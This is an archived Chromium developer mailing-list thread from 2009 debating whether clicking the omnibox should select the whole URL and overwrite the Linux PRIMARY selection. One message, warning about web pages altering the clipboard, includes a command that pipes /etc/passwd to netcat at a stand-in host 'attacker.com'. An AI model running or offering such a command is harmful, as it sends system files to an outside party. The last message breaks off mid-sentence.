[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Aug 21, 9:12 am, Dean McNamee de...@chromium.org wrote: We have plenty of Linux users who have gotten adjusted to this behavior and prefer it. This doesn't seem true based on the number of comments for and against in this thread. I would personally be very surprised if you took a poll of Linux users and the yes, please break my clipboard because double-clicking is s hard option came out on top of the do you like your OS's conventions, or should we do some wildass new thing that breaks all expectations and feels like Internet Explorer poll. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Aug 21, 9:12 am, Dean McNamee de...@chromium.org wrote: A bug tracker is the right place to have this discussion, and I see you've filed 19508 which was closed WontFix. I appreciate your opinion and dedication to Linux. We have plenty of Linux users who have gotten adjusted to this behavior and prefer it. There is no clear answer, which is why there has been so much discussion. I am not going to try to repeat all of that here. You can also read bug 13561, which was a previous round of something similar. I've read the bugs and I still disagree without. Right now there are very few people using Chromium because it isn't officiall ready, but once Linux users start adopting it en masse you'll be hearing the same complain over and over again. You're going to get tired of saying shutup, go away, we broke convention for your own good. Basically you have to stop thinking of the Omnibox as an already existing GTK widget, and think of it as a new widget designed specifically for optimizing input of URLs. That means there is no conventions for this new type of widget. GtkEntry / etc were optimized for clicking a text box and editing / inserting text. The Omnibox widget is optimized for clicking and replacing text. We believe this behavior makes sense for how people input URLs. So your argument is that I should replace a decade of muscle memory because you think it's easier? Every time I use Firefox on Windows and single clicking highlight the entire URL, I want to beat someone. If it looks like a text entry, it should quack like a text entry. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Aug 20, 5:40 pm, Dean McNamee de...@chromium.org wrote: This thread is massive. Having been the one who wrote the majority of the Omnibox code on Linux, I can promise you that this debate has already happened about 15 times previously. I'm not sure there is any more information here, we've already decided how we want things to work. Doesn't the fact that this debate has happened 15 times already raise a red flag for everyone? I mean, to me, that smells like - as they say on the internets - you're doing it wrong. I hate that we're distracting you guys once again on an issue that you all thought was settled, but I can also guarantee that you'll see it another 115 times, until it starts to conform with conventions. And I'd really hate for us boneheaded non-windows users to keep wasting your attention and deflecting your energy when you could be using it instead to take care of all those other things that I'm sure are on your plates. We're on your side, we really are! I don't want to go back to Firefox. Please reconsider. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
A bug tracker is the right place to have this discussion, and I see you've filed 19508 which was closed WontFix. I appreciate your opinion and dedication to Linux. We have plenty of Linux users who have gotten adjusted to this behavior and prefer it. There is no clear answer, which is why there has been so much discussion. I am not going to try to repeat all of that here. You can also read bug 13561, which was a previous round of something similar. Basically you have to stop thinking of the Omnibox as an already existing GTK widget, and think of it as a new widget designed specifically for optimizing input of URLs. That means there is no conventions for this new type of widget. GtkEntry / etc were optimized for clicking a text box and editing / inserting text. The Omnibox widget is optimized for clicking and replacing text. We believe this behavior makes sense for how people input URLs. On Thu, Aug 20, 2009 at 11:38 PM, alenpeacock alenlpeac...@gmail.com wrote: On Aug 20, 5:40 pm, Dean McNamee de...@chromium.org wrote: This thread is massive. Having been the one who wrote the majority of the Omnibox code on Linux, I can promise you that this debate has already happened about 15 times previously. I'm not sure there is any more information here, we've already decided how we want things to work. Doesn't the fact that this debate has happened 15 times already raise a red flag for everyone? I mean, to me, that smells like - as they say on the internets - you're doing it wrong. I hate that we're distracting you guys once again on an issue that you all thought was settled, but I can also guarantee that you'll see it another 115 times, until it starts to conform with conventions. And I'd really hate for us boneheaded non-windows users to keep wasting your attention and deflecting your energy when you could be using it instead to take care of all those other things that I'm sure are on your plates. We're on your side, we really are! I don't want to go back to Firefox. Please reconsider. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
The Omnibox widget code is already very involved, and I don't think it is a good idea to add any more complexity or additional modes. Chromium of course is open source, which is a very hidden form of configuration. Good luck, -- dean On Fri, Aug 21, 2009 at 8:57 AM, JT Olds jto...@xnet5.com wrote: Can we please make it configurable? I hate the click once select all thing. It really drives me nuts. Chromium is so nice otherwise. I don't care how hidden of a configuration parameter it is, just so long as I can change it. On Fri, Aug 21, 2009 at 9:12 AM, Dean McNameede...@chromium.org wrote: A bug tracker is the right place to have this discussion, and I see you've filed 19508 which was closed WontFix. I appreciate your opinion and dedication to Linux. We have plenty of Linux users who have gotten adjusted to this behavior and prefer it. There is no clear answer, which is why there has been so much discussion. I am not going to try to repeat all of that here. You can also read bug 13561, which was a previous round of something similar. Basically you have to stop thinking of the Omnibox as an already existing GTK widget, and think of it as a new widget designed specifically for optimizing input of URLs. That means there is no conventions for this new type of widget. GtkEntry / etc were optimized for clicking a text box and editing / inserting text. The Omnibox widget is optimized for clicking and replacing text. We believe this behavior makes sense for how people input URLs. On Thu, Aug 20, 2009 at 11:38 PM, alenpeacock alenlpeac...@gmail.com wrote: On Aug 20, 5:40 pm, Dean McNamee de...@chromium.org wrote: This thread is massive. Having been the one who wrote the majority of the Omnibox code on Linux, I can promise you that this debate has already happened about 15 times previously. I'm not sure there is any more information here, we've already decided how we want things to work. Doesn't the fact that this debate has happened 15 times already raise a red flag for everyone? I mean, to me, that smells like - as they say on the internets - you're doing it wrong. I hate that we're distracting you guys once again on an issue that you all thought was settled, but I can also guarantee that you'll see it another 115 times, until it starts to conform with conventions. And I'd really hate for us boneheaded non-windows users to keep wasting your attention and deflecting your energy when you could be using it instead to take care of all those other things that I'm sure are on your plates. We're on your side, we really are! I don't want to go back to Firefox. Please reconsider. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
The problem fundamentally comes down to matching an existing platform behavior versus try to do something better. I assert inline autocomplete and tabs on top fall strictly into the latter category, so you can't win an argument by just saying it matches the platform. Inline autocomplete is a fundamental feature of this browser; you should use a different browser if you can't accept it. For the record, I also hate our current behavior. I find I've already trained myself to click around on the URL bar a few times before I believe the action I took stuck because it seems so unpredictable to me. Maybe that's only due to bugs we've had in the past, though. :( As many others have said, there is likely nothing that can be added to this thread that will change anything. People feel strongly about this behavior in both ways. I am skeptical even data will help. On Thu, Aug 20, 2009 at 2:15 PM, Matt Muellerma...@chromium.org wrote: +1 Clobbering the primary selection when clicking in the url bar is @#$ annoying and very un-Linux like. On Thu, Aug 20, 2009 at 14:02, JT Oldsjto...@xnet5.com wrote: Firefox on Linux doesn't. Wasn't one of the main goals to make the application feel native to the operating system? I could care less about Windows or OSX focus and selection behavior. None of the below Linux browsers select the entire URL on the first click: Firefox Epiphany Seamonkey Galeon Midori Konqueror Dillo In fact, I can't find a single browser that does what you claim on Linux. On Thu, Aug 20, 2009 at 2:56 PM, Peter Kastingpkast...@chromium.org wrote: On Thu, Aug 20, 2009 at 1:36 PM, Adam Barth aba...@chromium.org wrote: On Thu, Aug 20, 2009 at 12:07 PM, JT Oldsjto...@xnet5.com wrote: 1) on a single click to the omnibox, the cursor should be placed. The contents of the omnibox should not be selected. We violate this convention on Windows too. Yep, and so does every other browser in the universe. There's a convention that a single click in a browser's address bar selects all, so to speak. PK --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
Can we please make it configurable? I hate the click once select all thing. It really drives me nuts. Chromium is so nice otherwise. I don't care how hidden of a configuration parameter it is, just so long as I can change it. On Fri, Aug 21, 2009 at 9:12 AM, Dean McNameede...@chromium.org wrote: A bug tracker is the right place to have this discussion, and I see you've filed 19508 which was closed WontFix. I appreciate your opinion and dedication to Linux. We have plenty of Linux users who have gotten adjusted to this behavior and prefer it. There is no clear answer, which is why there has been so much discussion. I am not going to try to repeat all of that here. You can also read bug 13561, which was a previous round of something similar. Basically you have to stop thinking of the Omnibox as an already existing GTK widget, and think of it as a new widget designed specifically for optimizing input of URLs. That means there is no conventions for this new type of widget. GtkEntry / etc were optimized for clicking a text box and editing / inserting text. The Omnibox widget is optimized for clicking and replacing text. We believe this behavior makes sense for how people input URLs. On Thu, Aug 20, 2009 at 11:38 PM, alenpeacock alenlpeac...@gmail.com wrote: On Aug 20, 5:40 pm, Dean McNamee de...@chromium.org wrote: This thread is massive. Having been the one who wrote the majority of the Omnibox code on Linux, I can promise you that this debate has already happened about 15 times previously. I'm not sure there is any more information here, we've already decided how we want things to work. Doesn't the fact that this debate has happened 15 times already raise a red flag for everyone? I mean, to me, that smells like - as they say on the internets - you're doing it wrong. I hate that we're distracting you guys once again on an issue that you all thought was settled, but I can also guarantee that you'll see it another 115 times, until it starts to conform with conventions. And I'd really hate for us boneheaded non-windows users to keep wasting your attention and deflecting your energy when you could be using it instead to take care of all those other things that I'm sure are on your plates. We're on your side, we really are! I don't want to go back to Firefox. Please reconsider. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
Evan, I don't know if you already got this, sorry if you did, but it looks like it got lost somewhere. I guess I suck at Google Groups. The problem fundamentally comes down to matching an existing platform behavior versus try to do something better. I assert inline autocomplete and tabs on top fall strictly into the latter category, so you can't win an argument by just saying it matches the platform. Except, I have an existing, useful feature that I want to keep, namely, the PRIMARY selection buffer. It is useful to me, and I don't want it either broken or more confusing. Breaking it or making it more confusing does not sound like something better. I am not arguing for matching the platform for the sake of matching the platform's sake (though, I think there is an argument there). I am arguing for matching the platform because matching the platform is how one goes about not breaking existing functionality that I use daily. Inline autocomplete is a fundamental feature of this browser; you should use a different browser if you can't accept it. :( but Chromium is so cool! For the record, I also hate our current behavior. I find I've already trained myself to click around on the URL bar a few times before I believe the action I took stuck because it seems so unpredictable to me. Maybe that's only due to bugs we've had in the past, though. :( Well, this seems like quite an indication to me that perhaps something better needs to be found. I like how Safari does it, and they seem to have a solution for everyone. Dean wrote: Chromium of course is open source, which is a very hidden form of configuration. It's a shame this is what is left on the table, but hooray for git-svn! -JT --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Fri, Aug 21, 2009 at 10:25 AM, JT Oldsjto...@xnet5.com wrote: It's a shame this is what is left on the table, but hooray for git-svn! FYI: don't use git-svn. We have a dedicated git mirror that you can clone and fetch from. Much, much faster. http://code.google.com/p/chromium/wiki/UsingGit -- Elliot --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Aug 21, 10:17 am, Dean McNamee de...@chromium.org wrote: The Omnibox widget code is already very involved, and I don't think it is a good idea to add any more complexity or additional modes. ...but, wait a sec, Chromium on OSX seems to do exactly the right thing (for both Mac and Linux). Wouldn't unifying the logic behind these conventions for both of these platforms maybe simplify existing complexity? --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
Note: Firefox on OSX selects all on single click. So there isn't a clear answer on OSX either. On Fri, Aug 21, 2009 at 2:52 PM, Dean McNamee de...@chromium.org wrote: On Fri, Aug 21, 2009 at 12:18 PM, alenpeacock alenlpeac...@gmail.com wrote: On Aug 21, 10:17 am, Dean McNamee de...@chromium.org wrote: The Omnibox widget code is already very involved, and I don't think it is a good idea to add any more complexity or additional modes. ...but, wait a sec, Chromium on OSX seems to do exactly the right thing (for both Mac and Linux). Wouldn't unifying the logic behind these conventions for both of these platforms maybe simplify existing complexity? These are completely separate implementations, so no, there wouldn't be any simplification. The Omnibox work on OSX is not nearly as complete as Linux or Windows. I am not sure they've yet had the discussion about how this should work. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Fri, Aug 21, 2009 at 3:36 PM, Dean McNameede...@chromium.org wrote: Note: Firefox on OSX selects all on single click. So there isn't a clear answer on OSX either. Firefox has historically tended to favor do what Firefox does on other platforms over follow the platform standard. In other cases, it does the wrong thing on the Mac simply because the behavior was written on Windows as cross-platform code and nobody has gotten around to fixing it for the Mac yet--text editing in particular has many examples of this. Firefox does it differently should never be an argument that something isn't an established standard on the Mac. -Stuart --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Fri, Aug 21, 2009 at 4:12 PM, Dean McNameede...@chromium.org wrote: My argument was just that I know of only 2 frequently used URL bars in browser. Safari, and Firefox. They differ in their behavior. I don't know how you have an established standard when you only have a few reference points, and one of the major ones doesn't follow it. I'm not coming at this from the perspective that this is a new control with no behavioral expectations; as others have already said, many people expect the URL bar to behave like a text field, since it looks and acts like one in most other respects. From my perspective there is a standard because I expect a certain behavior from clicking in something that looks like a text field. I understand the argument from the other side and I'm not trying to argue there's no merit in breaking from user expectations on a platform when there is a really compelling reason. My point is simply that Firefox does it on the Mac is not a good counter-argument for Mac user expect a certain behavior, because Firefox does not behave the way Mac users expect in a number of respects. We should not assume that just because Firefox does something on the Mac that the majority of Mac users would expect, or be happy with, that behavior. -Stuart --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
As others have said, this thread has been beaten into the ground, and before it we had 15 other threads get beaten into the ground. Various relevant stakeholders such as beng, glen, pinkerton, etc. have been conversed with, and while we are interested in getting more data (see the bug I filed) and may well change our behavior someday, commenting in endless emails here is not going to make change more likely or introduce new points of view that haven't already been examined. Indeed, it's clear from various comments that many people are talking past each other (e.g. my comment that everyone [on Windows] does this being rejected by a Safari on OS X doesn't) or are emotionally invested in the issue. At this point, I encourage people to archive the thread, go work on some more pressing bugs for a while, and trust that we as a team, and the UI, Linux, and Mac folks as subteams, all care deeply about the user experience and really will seek to do the Right Thing. PK --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Fri, Aug 21, 2009 at 12:18 PM, alenpeacock alenlpeac...@gmail.com wrote: On Aug 21, 10:17 am, Dean McNamee de...@chromium.org wrote: The Omnibox widget code is already very involved, and I don't think it is a good idea to add any more complexity or additional modes. ...but, wait a sec, Chromium on OSX seems to do exactly the right thing (for both Mac and Linux). Wouldn't unifying the logic behind these conventions for both of these platforms maybe simplify existing complexity? These are completely separate implementations, so no, there wouldn't be any simplification. The Omnibox work on OSX is not nearly as complete as Linux or Windows. I am not sure they've yet had the discussion about how this should work. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Aug 21, 4:36 pm, Dean McNamee de...@chromium.org wrote: Note: Firefox on OSX selects all on single click. So there isn't a clear answer on OSX either. According to Gruber, this is badly broken: http://daringfireball.net/2008/04/firefox_3_safari_3 LOCATION FIELD — The new Firefox 3 location field, the so-called “AwesomeBar”, is too clever. When I click the mouse in the middle of a URL, I just want to place the insertion point. I don’t want to select the entire URL. If I wanted to select the entire URL, I’d double- click. Click to place, double-click to select — just like any other text field. Prominent bloggers dropping your browser over stuff like this is probably not what you want, but that remains your call. Here's what happened to Firefox 3 for Linux on this issue: https://bugzilla.mozilla.org/show_bug.cgi?id=406662 Looks like they are still arguing about in on OSX (at least, recently): https://bugzilla.mozilla.org/show_bug.cgi?id=409810 fwiw --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Fri, Aug 21, 2009 at 4:01 PM, Stuart Morgan stuartmor...@chromium.org wrote: On Fri, Aug 21, 2009 at 3:36 PM, Dean McNameede...@chromium.org wrote: Note: Firefox on OSX selects all on single click. So there isn't a clear answer on OSX either. Firefox has historically tended to favor do what Firefox does on other platforms over follow the platform standard. In other cases, it does the wrong thing on the Mac simply because the behavior was written on Windows as cross-platform code and nobody has gotten around to fixing it for the Mac yet--text editing in particular has many examples of this. Firefox does it differently should never be an argument that something isn't an established standard on the Mac. My argument was just that I know of only 2 frequently used URL bars in browser. Safari, and Firefox. They differ in their behavior. I don't know how you have an established standard when you only have a few reference points, and one of the major ones doesn't follow it. How/where is it standardized? -Stuart --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Thu, Aug 20, 2009 at 12:07 PM, JT Oldsjto...@xnet5.com wrote: 1) on a single click to the omnibox, the cursor should be placed. The contents of the omnibox should not be selected. We violate this convention on Windows too. We do this because the most common reason to click in the omnibox is to replace its contents. Adam --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Thu, Aug 20, 2009 at 1:36 PM, Adam Barth aba...@chromium.org wrote: On Thu, Aug 20, 2009 at 12:07 PM, JT Oldsjto...@xnet5.com wrote: 1) on a single click to the omnibox, the cursor should be placed. The contents of the omnibox should not be selected. We violate this convention on Windows too. Yep, and so does every other browser in the universe. There's a convention that a single click in a browser's address bar selects all, so to speak. PK --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
Firefox on Linux doesn't. Wasn't one of the main goals to make the application feel native to the operating system? I could care less about Windows or OSX focus and selection behavior. None of the below Linux browsers select the entire URL on the first click: Firefox Epiphany Seamonkey Galeon Midori Konqueror Dillo In fact, I can't find a single browser that does what you claim on Linux. On Thu, Aug 20, 2009 at 2:56 PM, Peter Kastingpkast...@chromium.org wrote: On Thu, Aug 20, 2009 at 1:36 PM, Adam Barth aba...@chromium.org wrote: On Thu, Aug 20, 2009 at 12:07 PM, JT Oldsjto...@xnet5.com wrote: 1) on a single click to the omnibox, the cursor should be placed. The contents of the omnibox should not be selected. We violate this convention on Windows too. Yep, and so does every other browser in the universe. There's a convention that a single click in a browser's address bar selects all, so to speak. PK --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
Safari, Camino, and Mac Chromium place the cursor on a single click. On Thu, Aug 20, 2009 at 4:56 PM, Peter Kastingpkast...@chromium.org wrote: On Thu, Aug 20, 2009 at 1:36 PM, Adam Barth aba...@chromium.org wrote: On Thu, Aug 20, 2009 at 12:07 PM, JT Oldsjto...@xnet5.com wrote: 1) on a single click to the omnibox, the cursor should be placed. The contents of the omnibox should not be selected. We violate this convention on Windows too. Yep, and so does every other browser in the universe. There's a convention that a single click in a browser's address bar selects all, so to speak. PK -- Mike Pinkerton Mac Weenie pinker...@google.com --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
Oh yikes. Hmm. No, I'm not okay with that. Three solutions 1) don't select the autocomplete. Do it like Firefox (autocompletions are in the dropdown, don't mess with what the user is typing) 2) select the autocomplete, but in a way that's clearly different from normal selection (like, have the autocompletion be just greyed out or something) 3) make this be the one exception. I still guess I expect ^L to clobber my selection. perhaps #3 is the best choice. On Thu, Aug 20, 2009 at 3:18 PM, Evan Martine...@chromium.org wrote: On Thu, Aug 20, 2009 at 12:07 PM, JT Oldsjto...@xnet5.com wrote: 4) Any time content in the box is selected, it should be in the PRIMARY buffer. This would mean that when you type a URL, the autocomplete will clobber your selection. Are you ok with that? --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Thu, Aug 20, 2009 at 12:07 PM, JT Oldsjto...@xnet5.com wrote: 4) Any time content in the box is selected, it should be in the PRIMARY buffer. This would mean that when you type a URL, the autocomplete will clobber your selection. Are you ok with that? --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
The observant will note that these same browsers (on Mac, at least) allow you to select everything by clicking on the border of the location bar. Mike Pinkerton wrote: Safari, Camino, and Mac Chromium place the cursor on a single click. On Thu, Aug 20, 2009 at 4:56 PM, Peter Kastingpkast...@chromium.org wrote: On Thu, Aug 20, 2009 at 1:36 PM, Adam Barth aba...@chromium.org wrote: On Thu, Aug 20, 2009 at 12:07 PM, JT Oldsjto...@xnet5.com wrote: 1) on a single click to the omnibox, the cursor should be placed. The contents of the omnibox should not be selected. We violate this convention on Windows too. Yep, and so does every other browser in the universe. There's a convention that a single click in a browser's address bar selects all, so to speak. PK --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Thu, Aug 20, 2009 at 2:24 PM, JT Oldsjto...@xnet5.com wrote: 1) don't select the autocomplete. Do it like Firefox (autocompletions are in the dropdown, don't mess with what the user is typing) Non-starter. 2) select the autocomplete, but in a way that's clearly different from normal selection (like, have the autocompletion be just greyed out or something) I wonder if we could select with the secondary selection color. Seems pretty confusing-looking, though, since it would look like the box didn't have focus anymore. 3) make this be the one exception. I still guess I expect ^L to clobber my selection. The behavior that Dan implemented is this make an exception one -- with the addition that single-clicking the omnibox also doesn't clobber. ...whoa, the Firefox behavior is even stranger than I thought. Try this one out. 1) type google.com in url bar, hit enter 2) type text in on-page search box, select it 3) middle click in on-page search box (selection pastes as expected) 4) select text in on-page search box, hit ^L (url bar selected), middle click on text box (originally selected text pastes) 5) here's the weird one: now repeat step 4 -- the URL pastes this time! Maybe the Firefox behavior is too complicated to be worth emulating. I know Dan has spent a lot of effort trying to hack around the way the system wants to behave by default, which remains to me the most sane one. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Thu, Aug 20, 2009 at 2:02 PM, JT Olds jto...@xnet5.com wrote: None of the below Linux browsers select the entire URL on the first click: Firefox Epiphany Seamonkey Galeon Midori Konqueror Dillo In fact, I can't find a single browser that does what you claim on Linux. I am on record ( http://groups.google.com/group/chromium-reviews/browse_thread/thread/878579dd61c53a00/213560d76d537337 ) as saying It would be better to just not select the text at all (a la Firefox) than to appear to select the text but not update the X primary selection. If the current behavior becomes intolerable, that is the route I'd go. Intolerable is more than just not how the native controls normally work -- it's dramatically interferes with user behavior. That may well be true on Linux. In that thread, though, we discussed a lot of other alternate methods of pasting in a URL, such as paste-and-go, middle-clicking blank sections of the tabstrip, etc. I'd want some Linux UI folks to be able to say concretely, we've lived with this for several weeks, and it's clearly not enough; we need to change. PK --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
3) make this be the one exception. I still guess I expect ^L to clobber my selection. The behavior that Dan implemented is this make an exception one -- with the addition that single-clicking the omnibox also doesn't clobber. ...whoa, the Firefox behavior is even stranger than I thought. Try this one out. 1) type google.com in url bar, hit enter 2) type text in on-page search box, select it 3) middle click in on-page search box (selection pastes as expected) 4) select text in on-page search box, hit ^L (url bar selected), middle click on text box (originally selected text pastes) 5) here's the weird one: now repeat step 4 -- the URL pastes this time! Maybe the Firefox behavior is too complicated to be worth emulating. I know Dan has spent a lot of effort trying to hack around the way the system wants to behave by default, which remains to me the most sane one. lol alright, I concede that point. Nevertheless, after being enlightened here by both Mike Pinkerton and Viet-Trung Luu, I guess my dream is that the Linux Omnibox is more similar to the Mac one than the Windows one. Single click to focus, multi-click to select all, and yeah, clicking the border to select all sounds awesome. --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Thu, Aug 20, 2009 at 2:30 PM, Viet-Trung Luuviettrung...@gmail.com wrote: The observant will note that these same browsers (on Mac, at least) allow you to select everything by clicking on the border of the location bar. That's pretty cool! The target area is kind of tiny though... Adam --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Thu, Aug 20, 2009 at 2:24 PM, JT Olds jto...@xnet5.com wrote: Oh yikes. Hmm. No, I'm not okay with that. Three solutions 1) don't select the autocomplete. Do it like Firefox (autocompletions are in the dropdown, don't mess with what the user is typing) The entire omnibox hinges on this behavioral difference, so we can't do this. 2) select the autocomplete, but in a way that's clearly different from normal selection (like, have the autocompletion be just greyed out or something) Has been suggested in the past, but would be a large amount of effort (as you'd not only need to modify all the drawing code, but completely reimplement editing of the text to do the right thing) and wouldn't match other platforms. 3) make this be the one exception. I still guess I expect ^L to clobber my selection. I believe this is in fact precisely how we do things today. PK --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Thu, Aug 20, 2009 at 2:42 PM, Evan Stadeest...@chromium.org wrote: A lot of webpages highlight stuff without your input (with javascript). Are you sure you want a webpage to be able to clobber your clipboard? In general, this is a bad idea. Imagine a web page selecting this text cat /etc/passwd | netcat attacker.com 8080 just as you're about to paste into a terminal window. Adam --~--~-~--~~~---~--~~ Chromium Developers mailing list: chromium-dev@googlegroups.com View archives, change email options, or unsubscribe: http://groups.google.com/group/chromium-dev -~--~~~~--~~--~--~---
[chromium-dev] Re: Omnibox highlighting and PRIMARY selection concerns
On Thu, Aug 20, 2009 at 2:41 PM, Peter Kastingpkast...@chromium.org wrote: On Thu, Aug 20, 2009 at 2:02 PM, JT Olds jto...@xnet5.com wrote: None of the below Linux browsers select the entire URL on the first click: Firefox Epiphany Seamonkey Galeon Midori Konqueror Dillo In fact, I can't find a single browser that does what you claim on Linux. I am on record ( http://groups.google.com/group/chromium-reviews/browse_thread/thread/878579dd61c53a00/213560d76d537337 ) as saying It would be better to just not select the text at all (a la Firefox) than to appear to select the text but not update the X primary selection. If the current behavior becomes intolerable, that is the route I'd go. Intolerable is more than just not how the native controls normally work -- it's dramatically interferes with user behavior. That may well be true on Linux. In that thread, though, we discussed a lot of other alternate methods of pasting in a URL, such as paste-and-go, middle-clicking blank sections of the tabstrip, etc. I'd want some Linux UI folks to be able to say concretely, we've lived with this for several weeks, and it's clearly not enough; we need to change. PK Will you accept opinions of the opposite? I love our current behavior and can't stand having to triple-click in Firefox. Consider the following cases. a) The user is trying to completely change the contents of the omnibox. - Current behavior: 1 click - Suggested behavior: 3 clicks b) The user is trying to modify the contents of the omnibox. - Current behavior: 2 clicks - Suggested behavior: 1 click I have no facts to back up this claim, but I'd say that 70% of operations are of the former (a), with the caveat that this is a conservative estimate based on my personal experience. 100 operations - Current behavior: 70*1 + 30*2 = 130 clicks Suggested behavior: 70*3 